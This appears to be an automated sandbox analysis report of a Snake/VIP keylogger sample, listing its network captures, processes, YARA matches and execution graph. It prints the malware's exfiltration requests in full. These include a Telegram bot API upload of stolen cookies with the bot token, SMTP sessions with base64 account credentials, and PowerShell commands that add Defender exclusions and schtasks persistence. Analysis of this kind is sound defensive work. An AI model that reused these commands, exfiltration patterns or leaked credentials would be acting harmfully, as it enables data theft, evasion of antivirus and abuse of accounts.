                                                                                                                                                            Content-Type: application/json
                                                                                                                                                            Content-Length: 553
                                                                                                                                                            Connection: close
                                                                                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                            Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                            Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                            2024-12-16 13:23:51 UTC553INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 34 38 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 33 39 35 36 34 36 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 4e 41 4b 45 56 49 50 4c 4f 47 47 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 4e 41 4b 45 56 49 50 4c 4f 47 47 45 52 42 4f 54 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 34 34 33 38 32 35 38 35 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 61 73 79 6d 6f 6e 69 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 64 70 73 70 61 6d 6d 69 6e 67 73 75 72 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 35 35 34 33 30 2c 22 64
                                                                                                                                                            Data Ascii: {"ok":true,"result":{"message_id":34845,"from":{"id":7339564661,"is_bot":true,"first_name":"SNAKEVIPLOGGER","username":"SNAKEVIPLOGGERBOT"},"chat":{"id":6443825857,"first_name":"Easymoni","username":"Rdpspammingsure","type":"private"},"date":1734355430,"d


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            21192.168.2.649865149.154.167.2204433704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            2024-12-16 13:23:51 UTC380OUTPOST /bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1
                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------8dd1f22c705a7ac
                                                                                                                                                            Host: api.telegram.org
                                                                                                                                                            Content-Length: 1281
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            2024-12-16 13:23:51 UTC1281OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 32 32 63 37 30 35 61 37 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 39 32 35 34 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 36 2f 31 32 2f 32 30 32
                                                                                                                                                            Data Ascii: --------------------------8dd1f22c705a7acContent-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies | user | VIP Recovery PC Name:992547Date and Time: 16/12/202
                                                                                                                                                            2024-12-16 13:23:52 UTC388INHTTP/1.1 200 OK
                                                                                                                                                            Server: nginx/1.18.0
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:52 GMT
                                                                                                                                                            Content-Type: application/json
                                                                                                                                                            Content-Length: 553
                                                                                                                                                            Connection: close
                                                                                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                            Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                            Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                            2024-12-16 13:23:52 UTC553INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 34 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 33 39 35 36 34 36 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 4e 41 4b 45 56 49 50 4c 4f 47 47 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 4e 41 4b 45 56 49 50 4c 4f 47 47 45 52 42 4f 54 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 34 34 33 38 32 35 38 35 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 61 73 79 6d 6f 6e 69 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 64 70 73 70 61 6d 6d 69 6e 67 73 75 72 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 35 35 34 33 32 2c 22 64
                                                                                                                                                            Data Ascii: {"ok":true,"result":{"message_id":34846,"from":{"id":7339564661,"is_bot":true,"first_name":"SNAKEVIPLOGGER","username":"SNAKEVIPLOGGERBOT"},"chat":{"id":6443825857,"first_name":"Easymoni","username":"Rdpspammingsure","type":"private"},"date":1734355432,"d


                                                                                                                                                            SMTP Packets

                                                                                                                                                            TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                                                                            Dec 16, 2024 14:23:45.929615021 CET58749847118.69.190.131192.168.2.6220 isphost2.fptdata.vn ESMTP Exim 4.94 Mon, 16 Dec 2024 20:23:45 +0700
                                                                                                                                                            Dec 16, 2024 14:23:45.929905891 CET49847587192.168.2.6118.69.190.131EHLO 992547
                                                                                                                                                            Dec 16, 2024 14:23:46.499538898 CET58749847118.69.190.131192.168.2.6250-isphost2.fptdata.vn Hello 992547 [8.46.123.189]
                                                                                                                                                            250-SIZE 52428800
                                                                                                                                                            250-8BITMIME
                                                                                                                                                            250-PIPELINING
                                                                                                                                                            250-X_PIPE_CONNECT
                                                                                                                                                            250-AUTH PLAIN LOGIN
                                                                                                                                                            250-STARTTLS
                                                                                                                                                            250 HELP
                                                                                                                                                            Dec 16, 2024 14:23:46.500762939 CET49847587192.168.2.6118.69.190.131AUTH login c2FsZXMtbmd1eWVuQHZ2dHJhZGUudm4=
                                                                                                                                                            Dec 16, 2024 14:23:47.068531990 CET58749847118.69.190.131192.168.2.6334 UGFzc3dvcmQ6
                                                                                                                                                            Dec 16, 2024 14:23:47.650415897 CET58749847118.69.190.131192.168.2.6235 Authentication succeeded
                                                                                                                                                            Dec 16, 2024 14:23:47.650902987 CET49847587192.168.2.6118.69.190.131MAIL FROM:<sales-nguyen@vvtrade.vn>
                                                                                                                                                            Dec 16, 2024 14:23:47.682161093 CET58749852118.69.190.131192.168.2.6220 isphost2.fptdata.vn ESMTP Exim 4.94 Mon, 16 Dec 2024 20:23:47 +0700
                                                                                                                                                            Dec 16, 2024 14:23:47.696186066 CET49852587192.168.2.6118.69.190.131EHLO 992547
                                                                                                                                                            Dec 16, 2024 14:23:48.230437040 CET58749847118.69.190.131192.168.2.6250 OK
                                                                                                                                                            Dec 16, 2024 14:23:48.230714083 CET49847587192.168.2.6118.69.190.131RCPT TO:<saleseuropower@yandex.com>
                                                                                                                                                            Dec 16, 2024 14:23:48.265968084 CET58749852118.69.190.131192.168.2.6250-isphost2.fptdata.vn Hello 992547 [8.46.123.189]
                                                                                                                                                            250-SIZE 52428800
                                                                                                                                                            250-8BITMIME
                                                                                                                                                            250-PIPELINING
                                                                                                                                                            250-X_PIPE_CONNECT
                                                                                                                                                            250-AUTH PLAIN LOGIN
                                                                                                                                                            250-STARTTLS
                                                                                                                                                            250 HELP
                                                                                                                                                            Dec 16, 2024 14:23:48.283368111 CET49852587192.168.2.6118.69.190.131AUTH login c2FsZXMtbmd1eWVuQHZ2dHJhZGUudm4=
                                                                                                                                                            Dec 16, 2024 14:23:48.802925110 CET58749847118.69.190.131192.168.2.6550-Account sales-nguyen@vvtrade.vn currently blocked for sending to too many
                                                                                                                                                            550 invalid recipients
                                                                                                                                                            Dec 16, 2024 14:23:48.853477955 CET58749852118.69.190.131192.168.2.6334 UGFzc3dvcmQ6
                                                                                                                                                            Dec 16, 2024 14:23:49.436247110 CET58749852118.69.190.131192.168.2.6235 Authentication succeeded
                                                                                                                                                            Dec 16, 2024 14:23:49.436610937 CET49852587192.168.2.6118.69.190.131MAIL FROM:<sales-nguyen@vvtrade.vn>
                                                                                                                                                            Dec 16, 2024 14:23:50.005225897 CET58749852118.69.190.131192.168.2.6250 OK
                                                                                                                                                            Dec 16, 2024 14:23:50.005471945 CET49852587192.168.2.6118.69.190.131RCPT TO:<saleseuropower@yandex.com>
                                                                                                                                                            Dec 16, 2024 14:23:50.573951960 CET58749852118.69.190.131192.168.2.6550-Account sales-nguyen@vvtrade.vn currently blocked for sending to too many
                                                                                                                                                            550 invalid recipients

                                                                                                                                                            Statistics

                                                                                                                                                            CPU Usage

                                                                                                                                                            Click to jump to process

                                                                                                                                                            Memory Usage

                                                                                                                                                            Click to jump to process

                                                                                                                                                            High Level Behavior Distribution

                                                                                                                                                            Click to dive into process behavior distribution

                                                                                                                                                            Behavior

                                                                                                                                                            Click to jump to process

                                                                                                                                                            System Behavior

                                                                                                                                                            General

                                                                                                                                                            Target ID:0
                                                                                                                                                            Start time:08:23:03
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Users\user\Desktop\FT876567090.exe"
                                                                                                                                                            Imagebase:0x610000
                                                                                                                                                            File size:782'336 bytes
                                                                                                                                                            MD5 hash:773778752662F5A81D6B7A2015890B79
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:low
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:4
                                                                                                                                                            Start time:08:23:04
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"
                                                                                                                                                            Imagebase:0x490000
                                                                                                                                                            File size:433'152 bytes
                                                                                                                                                            MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:5
                                                                                                                                                            Start time:08:23:04
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            Imagebase:0x7ff66e660000
                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:6
                                                                                                                                                            Start time:08:23:05
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"
                                                                                                                                                            Imagebase:0x490000
                                                                                                                                                            File size:433'152 bytes
                                                                                                                                                            MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:7
                                                                                                                                                            Start time:08:23:05
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            Imagebase:0x7ff66e660000
                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:8
                                                                                                                                                            Start time:08:23:05
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp"
                                                                                                                                                            Imagebase:0x400000
                                                                                                                                                            File size:187'904 bytes
                                                                                                                                                            MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:9
                                                                                                                                                            Start time:08:23:05
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            Imagebase:0x7ff66e660000
                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:10
                                                                                                                                                            Start time:08:23:06
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Users\user\Desktop\FT876567090.exe"
                                                                                                                                                            Imagebase:0x980000
                                                                                                                                                            File size:782'336 bytes
                                                                                                                                                            MD5 hash:773778752662F5A81D6B7A2015890B79
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Yara matches:
                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                            • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                            • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                            • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                            • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                            • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            Reputation:low
                                                                                                                                                            Has exited:false

                                                                                                                                                            General

                                                                                                                                                            Target ID:11
                                                                                                                                                            Start time:08:23:08
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                            Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                            Imagebase:0x7ff717f30000
                                                                                                                                                            File size:496'640 bytes
                                                                                                                                                            MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:12
                                                                                                                                                            Start time:08:23:09
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            Imagebase:0x8f0000
                                                                                                                                                            File size:782'336 bytes
                                                                                                                                                            MD5 hash:773778752662F5A81D6B7A2015890B79
                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Antivirus matches:
                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                            • Detection: 74%, ReversingLabs
                                                                                                                                                            Reputation:low
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:13
                                                                                                                                                            Start time:08:23:10
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp"
                                                                                                                                                            Imagebase:0x400000
                                                                                                                                                            File size:187'904 bytes
                                                                                                                                                            MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:14
                                                                                                                                                            Start time:08:23:10
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            Imagebase:0x7ff66e660000
                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Reputation:high
                                                                                                                                                            Has exited:true

                                                                                                                                                            General

                                                                                                                                                            Target ID:15
                                                                                                                                                            Start time:08:23:10
                                                                                                                                                            Start date:16/12/2024
                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                            Commandline:"C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"
                                                                                                                                                            Imagebase:0xe20000
                                                                                                                                                            File size:782'336 bytes
                                                                                                                                                            MD5 hash:773778752662F5A81D6B7A2015890B79
                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                            Yara matches:
                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                            • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                            Has exited:false

                                                                                                                                                            Disassembly

                                                                                                                                                            Reset < >

                                                                                                                                                              Execution Graph

                                                                                                                                                              Execution Coverage:10.6%
                                                                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                              Signature Coverage:7.8%
                                                                                                                                                              Total number of Nodes:296
                                                                                                                                                              Total number of Limit Nodes:13
                                                                                                                                                              execution_graph 49799 553fd20 49800 553fd32 49799->49800 49801 553fd43 49800->49801 49809 70e66c1 49800->49809 49814 70e6353 49800->49814 49818 70e6095 49800->49818 49822 70e59b4 49800->49822 49826 70e5f46 49800->49826 49830 70e6036 49800->49830 49834 70e71ca 49800->49834 49810 70e66c4 49809->49810 49811 70e6729 49810->49811 49838 70e7cb8 49810->49838 49842 70e7cc0 49810->49842 49816 70e7cb8 VirtualProtect 49814->49816 49817 70e7cc0 VirtualProtect 49814->49817 49815 70e6367 49816->49815 49817->49815 49820 70e7cb8 VirtualProtect 49818->49820 49821 70e7cc0 VirtualProtect 49818->49821 49819 70e60a6 49820->49819 49821->49819 49824 70e7cb8 VirtualProtect 49822->49824 49825 70e7cc0 VirtualProtect 49822->49825 49823 70e59e5 49824->49823 49825->49823 49828 70e7cb8 VirtualProtect 49826->49828 49829 70e7cc0 VirtualProtect 49826->49829 49827 70e5f5d 49828->49827 49829->49827 49832 70e7cb8 VirtualProtect 49830->49832 49833 70e7cc0 VirtualProtect 49830->49833 49831 70e604d 49832->49831 49833->49831 49836 70e7cb8 VirtualProtect 49834->49836 49837 70e7cc0 VirtualProtect 49834->49837 49835 70e71de 49836->49835 49837->49835 49839 70e7cc0 VirtualProtect 49838->49839 49841 70e7d42 49839->49841 49841->49810 49843 70e7d08 VirtualProtect 49842->49843 49844 70e7d42 49843->49844 49844->49810 49845 4e4ad50 49848 4e4ae48 49845->49848 49846 4e4ad5f 49849 4e4ae59 49848->49849 49850 4e4ae7c 49848->49850 49849->49850 49851 4e4b080 GetModuleHandleW 49849->49851 49850->49846 49852 4e4b0ad 49851->49852 49852->49846 49527 70e7dc8 49528 70e7def 49527->49528 49532 70e8090 49528->49532 49537 70e80a0 49528->49537 49529 70e7e66 49534 70e80c7 49532->49534 49533 70e82f4 49533->49529 49534->49533 49542 70d83f8 49534->49542 49547 70d83e9 49534->49547 49538 70e80c7 49537->49538 49539 70e82f4 49538->49539 49540 70d83e9 PostMessageW 49538->49540 49541 70d83f8 PostMessageW 49538->49541 49539->49529 49540->49538 49541->49538 49543 70d840a 49542->49543 49552 70d841f 49543->49552 49556 70d8430 49543->49556 49544 70d8418 49544->49534 49548 70d840a 49547->49548 49550 70d841f PostMessageW 49548->49550 49551 70d8430 PostMessageW 49548->49551 49549 70d8418 49549->49534 49550->49549 49551->49549 49554 70d842a 49552->49554 49553 70d85fb 49553->49544 49554->49544 49554->49553 49560 70d41ac 49554->49560 49557 70d8447 49556->49557 49557->49544 49558 70d85fb 49557->49558 49559 70d41ac PostMessageW 49557->49559 49558->49544 49559->49557 49561 70d86f0 PostMessageW 49560->49561 49562 70d875c 49561->49562 49562->49554 49795 4f74050 49796 4f74092 49795->49796 49798 4f74099 49795->49798 49797 4f740ea CallWindowProcW 49796->49797 49796->49798 49797->49798 49853 4f76dc0 49854 4f76ded 49853->49854 49865 4f7662c 49854->49865 49857 4f7662c 2 API calls 49858 4f76eb7 49857->49858 49859 4f7662c 2 API calls 49858->49859 49860 4f76ee9 49859->49860 49869 4f7663c 49860->49869 49862 4f76f1b 49875 4f76c10 49862->49875 49864 4f76f4d 49866 4f76637 49865->49866 49879 4f76d20 49866->49879 49868 4f76e85 49868->49857 49870 4f76647 49869->49870 49872 4e45d47 2 API calls 49870->49872 49873 4e483a8 2 API calls 49870->49873 49874 4e45ce8 2 API calls 49870->49874 49871 4f78396 49871->49862 49872->49871 49873->49871 49874->49871 49876 4f76c1b 49875->49876 49896 4f77d90 49876->49896 49878 4f787cf 49878->49864 49880 4f76d2b 49879->49880 49884 4e45ce8 2 API calls 49880->49884 49885 4e45d47 49880->49885 49891 4e483a8 49880->49891 49881 4f780ac 49881->49868 49884->49881 49886 4e45d4b 49885->49886 49888 4e45cf3 49885->49888 49887 4e486a9 49887->49881 49888->49887 49889 4e4ce10 2 API calls 49888->49889 49890 4e4ce0f 2 API calls 49888->49890 49889->49887 49890->49887 49893 4e483e3 49891->49893 49892 4e486a9 49892->49881 49893->49892 49894 4e4ce10 2 API calls 49893->49894 49895 4e4ce0f 2 API calls 49893->49895 49894->49892 49895->49892 49897 4f77d9b 49896->49897 49898 4f78802 49897->49898 49899 4e45d47 2 API calls 49897->49899 49900 4e483a8 2 API calls 49897->49900 49901 4e45ce8 2 API calls 49897->49901 49898->49878 49899->49898 49900->49898 49901->49898 49563 70d4e05 49564 70d4b84 49563->49564 49564->49563 49565 70d4d67 49564->49565 49568 70d71d8 49564->49568 49572 70d71e8 49564->49572 49569 70d71e8 49568->49569 49576 70d7559 49569->49576 49570 70d7226 49570->49565 49573 70d7202 49572->49573 49575 70d7559 12 API calls 49573->49575 49574 70d7226 49574->49565 49575->49574 49577 70d757d 49576->49577 49579 70d758f 49577->49579 49590 70d7a75 49577->49590 